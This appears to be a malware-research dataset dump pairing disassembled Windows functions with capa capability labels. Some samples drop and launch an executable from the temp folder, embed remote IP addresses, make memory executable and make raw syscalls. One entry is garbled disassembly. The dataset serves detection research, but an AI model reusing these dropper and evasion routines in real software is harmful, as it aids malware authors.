joyce8/EMBER2024-capa huggingface dataset:
Function at 0x508c58
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x508d7b
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x508d5f
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x508cb1
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x508c8f
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18
Function at 0x509193
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov edx, dword [ebx + 0x24]
push esi
mov dword [ebp - 8], edx
push edi
mov ecx, dword [ebx + 0x64]
mov eax, dword [ebx + 0x34]
mov esi, dword [ebx + 0x6c]
sub eax, ecx
sub eax, esi
mov dword [ebp - 4], eax
jne 0x5091c1
test ecx, ecx
jne 0x5091cb
test esi, esi
jne 0x5091cb
mov eax, edx
jmp 0x50923c
cmp eax, 0xffffffff
jne 0x5091cb
push 0xfffffffffffffffe
pop eax
jmp 0x50923c
mov esi, dword [ebx + 0x24]
lea esi, [edx + esi - 0x106]
cmp ecx, esi
jb 0x50923c
mov edi, dword [ebx + 0x30]
mov ecx, edx
mov eax, ecx
shr ecx, 2
lea esi, [edi + edx]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [ebx + 0x44]
mov eax, dword [ebx + 0x3c]
sub dword [ebx + 0x68], edx
sub dword [ebx + 0x64], edx
sub dword [ebx + 0x54], edx
lea eax, [eax + ecx*2]
dec eax
dec eax
movzx esi, word [eax]
mov edi, esi
sub edi, edx
cmp esi, edx
sbb esi, esi
not esi
and esi, edi
dec ecx
mov word [eax], si
jne 0x509201
mov eax, dword [ebx + 0x38]
mov esi, edx
lea eax, [eax + edx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edi, ecx
sub edi, edx
cmp ecx, edx
sbb ecx, ecx
not ecx
and ecx, edi
dec esi
mov word [eax], cx
jne 0x509220
mov eax, dword [ebp - 4]
add eax, edx
mov esi, dword [ebx]
cmp dword [esi + 4], 0
mov dword [ebp - 0xc], esi
je 0x5092e9
mov edi, dword [ebx + 0x6c]
add edi, dword [ebx + 0x64]
mov ecx, dword [esi + 4]
add edi, dword [ebx + 0x30]
cmp ecx, eax
mov dword [ebp - 4], ecx
jbe 0x509261
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x50926b
xor ecx, ecx
jmp 0x5092aa
sub ecx, dword [ebp - 4]
mov eax, dword [esi + 0x1c]
mov dword [esi + 4], ecx
cmp dword [eax + 0x18], 0
jne 0x50928d
push dword [ebp - 4]
push dword [esi]
push dword [esi + 0x30]
call fcn.00509a45
mov edx, dword [ebp - 8]
mov dword [esi + 0x30], eax
mov ecx, dword [ebp - 4]
mov esi, dword [esi]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, eax
mov eax, dword [ebp - 0xc]
add dword [eax], ecx
add dword [eax + 8], ecx
add dword [ebx + 0x6c], ecx
mov edi, dword [ebx + 0x6c]
cmp edi, 3
jb 0x5092d5
mov eax, dword [ebx + 0x64]
mov ecx, dword [ebx + 0x30]
lea esi, [eax + ecx]
movzx eax, byte [esi]
mov ecx, dword [ebx + 0x50]
mov dword [ebx + 0x40], eax
shl eax, cl
movzx ecx, byte [esi + 1]
xor eax, ecx
and eax, dword [ebx + 0x4c]
mov dword [ebx + 0x40], eax
cmp edi, 0x106
jae 0x5092e9
mov eax, dword [ebx]
cmp dword [eax + 4], 0
jne 0x5091a3
pop edi
pop esi
leave
ret
Function at 0x51c950
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx + 0xc], 0x67452301
mov dword [ecx + 0x10], 0xefcdab89
mov dword [ecx + 0x14], 0x98badcfe
mov dword [ecx + 0x18], 0x10325476
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
ret

Function at 0x51d4b0
Capabilities:
Hash data with md5

Disassembly:
push esi
push 0x40
push 0
mov esi, ecx
call dword [0x547224]
mov dword [esi], eax
mov dword [esi + 0xc], 0x67452301
mov dword [esi + 0x10], 0xefcdab89
mov dword [esi + 0x14], 0x98badcfe
mov dword [esi + 0x18], 0x10325476
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, esi
pop esi
ret
Function at 0x51f500
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov edx, dword [esp + 4]
sub esp, 0x10
push ebx
mov bl, byte [edx + 8]
cmp bl, 3
je 0x51f6aa
mov ecx, dword [esp + 0x20]
push ebp
mov ebp, dword [edx]
push esi
xor esi, esi
push edi
mov dword [esp + 0x24], esi
test bl, 2
je 0x51f558
movzx eax, byte [edx + 9]
movzx esi, byte [ecx]
mov edi, eax
sub edi, esi
movzx esi, byte [ecx + 1]
mov dword [esp + 0x10], edi
mov edi, eax
sub edi, esi
movzx esi, byte [ecx + 2]
sub eax, esi
mov esi, dword [esp + 0x24]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], eax
mov edi, 3
jmp 0x51f56b
movzx eax, byte [ecx + 3]
movzx edi, byte [edx + 9]
sub edi, eax
mov dword [esp + 0x10], edi
mov edi, 1
test bl, 4
je 0x51f57f
movzx ecx, byte [ecx + 4]
movzx eax, byte [edx + 9]
sub eax, ecx
mov dword [esp + edi*4 + 0x10], eax
inc edi
xor ecx, ecx
xor eax, eax
cmp edi, ecx
jle case.0x51f5c6.3
jmp 0x51f590
cmp dword [esp + eax*4 + 0x10], ecx
jg 0x51f59c
mov dword [esp + eax*4 + 0x10], ecx
jmp 0x51f5a1
mov esi, 1
inc eax
cmp eax, edi
jl 0x51f590
cmp si, cx
je case.0x51f5c6.3
movzx eax, byte [edx + 9]
add eax, 0xfffffffe
cmp eax, 0xe
ja case.0x51f5c6.3
movzx eax, byte [eax + 0x51f6c4]
jmp dword [eax*4 + 0x51f6b0]
mov edx, dword [edx + 4]
mov eax, dword [esp + 0x28]
cmp edx, ecx
jbe case.0x51f5c6.3
lea esp, [esp]
mov cl, byte [eax]
shr cl, 1
and cl, 0x55
mov byte [eax], cl
inc eax
sub edx, 1
jne 0x51f5e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov edi, dword [edx + 4]
mov edx, dword [esp + 0x10]
mov esi, dword [esp + 0x28]
mov ecx, edx
mov eax, 0xf0
sar eax, cl
mov ebx, 0xf
sar ebx, cl
and al, 0xf0
or al, bl
test edi, edi
jbe case.0x51f5c6.3
mov edi, edi
mov bl, byte [esi]
mov cl, dl
shr bl, cl
inc esi
and bl, al
sub edi, 1
mov byte [esi - 1], bl
jne 0x51f620
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x28]
imul ebp, edi
xor ebx, ebx
test ebp, ebp
jbe case.0x51f5c6.3
mov eax, ebx
xor edx, edx
div edi
inc ebx
inc esi
mov cl, byte [esp + edx*4 + 0x10]
shr byte [esi - 1], cl
cmp ebx, ebp
jb 0x51f646
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
mov esi, dword [esp + 0x28]
imul ebp, edi
xor ebx, ebx
test ebp, ebp
jbe case.0x51f5c6.3
mov edi, edi
xor edx, edx
mov eax, ebx
div edi
movzx ax, byte [esi]
mov ecx, 0x100
imul ax, cx
movzx ecx, byte [esi + 1]
add ax, cx
inc esi
inc ebx
inc esi
movzx ecx, word [esp + edx*4 + 0x10]
shr ax, cl
movzx eax, ax
mov edx, eax
shr edx, 8
mov byte [esi - 2], dl
mov byte [esi - 1], al
cmp ebx, ebp
jb 0x51f670
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x528bc0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x528bcb
xor eax, eax
ret
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 4]
push esi
not eax
cmp edx, 8
jb 0x528ca9
mov esi, edx
shr esi, 3
push edi
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
xor edi, eax
and edi, 0xff
inc ecx
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
xor edi, eax
inc ecx
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
movzx edi, byte [ecx + 1]
inc ecx
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edi*4 + 0x56bce0]
inc ecx
sub edx, 8
sub esi, 1
jne 0x528be5
pop edi
test edx, edx
je 0x528ccb
lea ecx, [ecx]
movzx esi, byte [ecx]
xor esi, eax
and esi, 0xff
shr eax, 8
xor eax, dword [esi*4 + 0x56bce0]
inc ecx
sub edx, 1
jne 0x528cb0
not eax
pop esi
ret
Function at 0x4016b0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, str.218.54.47.76
mov edi, edx
call fcn.00403ee0
mov ebx, eax
test ebx, ebx
jne 0x4017d8
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x41a3a8
lea ecx, [ecx]
cmp word [esi], 0
je 0x401766
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.00404c8f
add esp, 0xc
lea eax, [ebp - 0x418]
push esi
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
add esi, 0x118
cmp esi, 0x41a920
jl 0x401730
mov esi, 0x41a3a8
lea esp, [esp]
cmp word [esi], 0
je 0x401797
push ecx
push edi
mov edx, str.218.54.47.76
mov ecx, esi
call fcn.004047f0
add esp, 8
add esi, 0x118
cmp esi, 0x41a920
jl 0x401780
push 0x41a1a0
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
mov ecx, 2
cmove ebx, ecx
mov eax, ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x401a90
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x418038]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x419eb8
push 0x67
push edi
call esi
push 0x64
push 0x419df0
push 0x6d
push edi
call esi
mov ecx, edi
call fcn.00401c20
push 0
push edi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x419eb8
push 0x419df0
push 0
mov dword [0x419f80], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401b22
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404b4a
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push edi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call esi
call fcn.00402ca0
call fcn.004021a0
test eax, eax
je 0x401b53
call fcn.00403510
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004014b0
test eax, eax
je 0x401b0a
call fcn.004017f0
mov ecx, dword [0x41ae20]
test ecx, ecx
je 0x401b8b
cmp word [0x41ae24], 0
jbe 0x401b8b
mov edx, str.218.54.31.226
call fcn.00403c70
mov ax, word [0x41ae24]
mov word [0x418ef4], ax
xor ecx, ecx
lea ecx, [ecx]
movzx eax, word [ecx + str.fiosde.exe]
mov word [ecx + 0x41a1a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x401b90
call fcn.00403cf0
xor eax, eax
push 0x206
push eax
mov word [esp + 0x10], ax
lea eax, [esp + 0x12]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x41a1a0
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
push 0x1f4
call esi
push 1
push 0
push 0x41684c
lea eax, [esp + 0x14]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402b30
Capabilities:
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x410]
push 0x200
push 0
push eax
call fcn.00408730
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.00402010
test eax, eax
je 0x402c86
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x416890]
mov word [ecx + 0x41a018], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402b90
xor ecx, ecx
jmp 0x402bb0
movzx eax, word [ebp + ecx - 0x38a]
mov word [ecx + 0x41a120], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bb0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ebp + ecx - 0x40c]
mov word [ecx + 0x41a0a0], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402bd0
cmp dword [0x418f08], 3
movzx eax, word [ebp - 0x38c]
mov word [0x41a098], ax
movzx eax, word [ebp - 0x2ea]
mov word [0x41a010], ax
mov dword [0x41a00c], 5
lea eax, [ebp - 0x210]
je 0x402c28
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x402c4d
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41699c
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
push str.golfset.ini
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x402ca0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [0x418f08], 0
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402d5d
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x402d21
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x402d09
cmp eax, 1
jne 0x402d5d
mov dword [0x418f08], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x402d5d
mov ecx, dword [ebp - 0x118]
test ecx, ecx
jne 0x402d48
mov dword [0x418f08], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
mov eax, dword [0x418f08]
mov edx, 5
cmp ecx, 1
cmove eax, edx
mov dword [0x418f08], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x402d70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
mov edi, edx
mov esi, ecx
call fcn.00408730
add esp, 0xc
cmp dword [0x418f08], 3
lea eax, [ebp - 0x20c]
jne 0x402ddd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41699c
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
jmp 0x402de9
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [ebp - 0x20c]
push eax
push str._s_s.exe
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
add esp, 0x10
xor ecx, ebp
pop edi
pop esi
call fcn.00404b4a
mov esp, ebp
pop ebp
ret

Function at 0x402ed0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, edx
cmp esi, 0xffffffff
je 0x402fed
push 0x400
call fcn.00405b57
add esp, 4
mov ebx, eax
push 0x400
push 0
push ebx
call fcn.00408730
add esp, 0xc
mov ecx, esi
call fcn.004030a0
xor ecx, ecx
shld ecx, eax, 9
xorps xmm0, xmm0
shl eax, 9
movq qword [ebp - 0x18], xmm0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 8]
push eax
push 0x400
push ebx
movq qword [ebp - 0x10], xmm0
push esi
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x402fe4
cmp dword [ebx + 4], 0x5042475f
jne 0x402fab
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402f70
sub ecx, edx
sar ecx, 1
je 0x402fab
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.00405be9
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
push ebx
push 2
mov edx, 0x1e
mov ecx, esi
call fcn.00403180
add esp, 8
test eax, eax
je 0x402fe4
cmp dword [ebx + 4], 0x5042475f
jne 0x402fe4
lea ecx, [ebx + 0x10e]
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402fd3
sub ecx, edx
sar ecx, 1
jne 0x402f81
push ebx
call fcn.00405be9
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
Function at 0x409888
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40995b
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x409974
push ebx
push 0x409980
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.004033b4
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.0040277c
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403414
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
jne 0x409908
mov al, 0x62
call fcn.00409460
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.0040985c
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
dec eax
je 0x409911
call fcn.0040985c
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409962
lea eax, [ebp - 4]
call fcn.00403198
ret

Function at 0x409a14
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
jmp 0x409abd
cmp dword [esi + 0x10], 0x1000
jne 0x409aa9
test byte [esi + 0x15], 1
jne 0x409aa9
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409a68
cmp eax, 2
je 0x409a68
cmp eax, 0x10
je 0x409a68
cmp eax, 0x20
jne 0x409a7d
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409a7d
mov bl, 1
xor ebp, ebp
jmp 0x409a8e
mov eax, dword [esi]
add eax, ebp
call fcn.00409a0c
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x409a81
test bl, bl
je 0x409aa9
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409ac8
mov eax, dword [esi + 4]
cmp eax, edi
je 0x409a40
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x406200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push cs
ror dword [ecx + 0x100cf577], 0xb5
adc al, 0xe8

Function at 0x408948
Capabilities:
Encode data using xor

Disassembly:
push 0x4085d8
pop esi
sub eax, 1
and eax, eax
call fcn.00408979
sub ecx, 0xf4e2f3d4
xor dword [edx], esi
or eax, ecx
inc edx
add eax, 1
cmp edx, ebx
jne fcn.00408948
or ecx, ecx
ret
Function at 0x827370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x82738e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x850074
push ecx
mov edi, eax
call fcn.0083b198
mov esi, eax
add esp, 8
test esi, esi
jne 0x8273cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0083b02e
push esi
call fcn.0083afb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x82a850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x82a8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x855720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x82a8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0083b1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x82a8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x855720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x82a92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0083c082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x82a957
mov word [eax], si
add eax, 2
push eax
call fcn.0083c030
add esp, 4
jmp 0x82a959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x82a8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x82a8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x82aff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret